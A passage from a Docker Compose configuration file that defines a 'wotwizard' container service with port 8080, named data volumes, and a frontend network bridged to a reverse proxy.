      - frontend
    mem_limit: 2g
    logging:
      options:
        max-size: "10m"
        max-file: "3"
        
  wotwizard:
    image: poka/wotwizard:latest
    restart: unless-stopped
    ports:
      - "8080:8080"
    volumes:
      - data:/app/data
      - dataww:/app/rsrc
    networks:
      - frontend

volumes:
  data:
  etc:
  dataww:

networks:
  frontend:
    name: reverse-proxy_bridge